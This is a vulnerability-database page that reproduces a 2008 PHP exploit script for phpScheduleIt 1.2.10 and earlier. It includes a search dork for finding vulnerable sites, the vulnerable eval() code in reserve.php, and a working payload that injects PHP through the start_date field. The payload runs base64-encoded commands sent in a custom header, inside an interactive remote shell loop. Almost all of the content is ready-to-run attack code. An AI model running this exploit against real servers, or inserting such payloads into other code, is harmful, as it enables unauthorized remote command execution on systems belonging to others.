Lucene search
K

phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 25 Views

phpScheduleIt 1.2.10 Remote Code Execution Exploi

Code

                                                &#60;?php

/*
	-------------------------------------------------------------------
	phpScheduleIt &#60;= 1.2.10 (reserve.php) Remote Code Execution Exploit
	-------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://phpscheduleit.sourceforge.net/
	dork.....: inurl:roschedule.php
	details..: works with magic_quotes_gpc = off
	
	[-] vulnerable code in /reserve.php
	
	51.	if (isset($_POST[&#39;btnSubmit&#39;]) && strstr($_SERVER[&#39;HTTP_REFERER&#39;], $_SERVER[&#39;PHP_SELF&#39;])) {
	52.		$t-&#62;set_title(translate(&#34;Processing $Class&#34;));
	53.		$t-&#62;printHTMLHeader();
	54.		$t-&#62;startMain();
	55.	
	56.		process_reservation($_POST[&#39;fn&#39;]);
	57.	}
	58.	else {
	59.		$res_info = getResInfo();
	60.		$t-&#62;set_title($res_info[&#39;title&#39;]);
	61.		$t-&#62;printHTMLHeader();
	62.	   	$t-&#62;startMain();
	63.	   	present_reservation($res_info[&#39;resid&#39;]);
	64.	}

	[...]
	
	79.	function process_reservation($fn) {
	80.		$success = false;
	81.		global $Class;
	82.		$is_pending = (isset($_POST[&#39;pending&#39;]) && $_POST[&#39;pending&#39;]);
	83.	
	84.		if (isset($_POST[&#39;start_date&#39;])) {			// Parse the POST-ed starting and ending dates
	85.			$start_date = eval(&#39;return mktime(0,0,0, \&#39;&#39; . str_replace(INTERNAL_DATE_SEPERATOR, &#39;\&#39;,\&#39;&#39;, $_POST[&#39;start_date&#39;]) . &#39;\&#39;);&#39;);
	86.			$end_date = eval(&#39;return mktime(0,0,0, \&#39;&#39; . str_replace(INTERNAL_DATE_SEPERATOR, &#39;\&#39;,\&#39;&#39;, $_POST[&#39;end_date&#39;]) . &#39;\&#39;);&#39;);
	87.		}
	
	An attacker might be able to inject and execute PHP code through $_POST[&#39;start_date&#39;], that is passed to eval() at line 85
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &#34;\n[-] No response from {$host}:80 Trying again...&#34;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

print &#34;\n+---------------------------------------------------------------+&#34;;
print &#34;\n| phpScheduleIt &#60;= 1.2.10 Remote Code Execution Exploit by EgiX |&#34;;
print &#34;\n+---------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage......: php $argv[0] host path\n&#34;;
	print &#34;\nExample....: php $argv[0] localhost /&#34;;
	print &#34;\nExample....: php $argv[0] localhost /phpscheduleit/\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];

$payload = &#34;btnSubmit=1&start_date=1&#39;).\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die};%%23&#34;;
$packet  = &#34;POST {$path}reserve.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Referer: {$path}reserve.php\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.(strlen($payload)-1).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;
$packet .= $payload;

while(1)
{
	print &#34;\nphpscheduleit-shell# &#34;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &#34;exit&#34;)
	{
		$html  = http_send($host, sprintf($packet, base64_encode($cmd)));
		$shell = explode(&#34;_code_&#34;, $html);
		preg_match(&#34;/_code_/&#34;, $html) ? print &#34;\n{$shell[1]}&#34; : die(&#34;\n[-] Exploit failed...\n&#34;);
	}
	else break;
}

?&#62;

# milw0rm.com [2008-10-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
25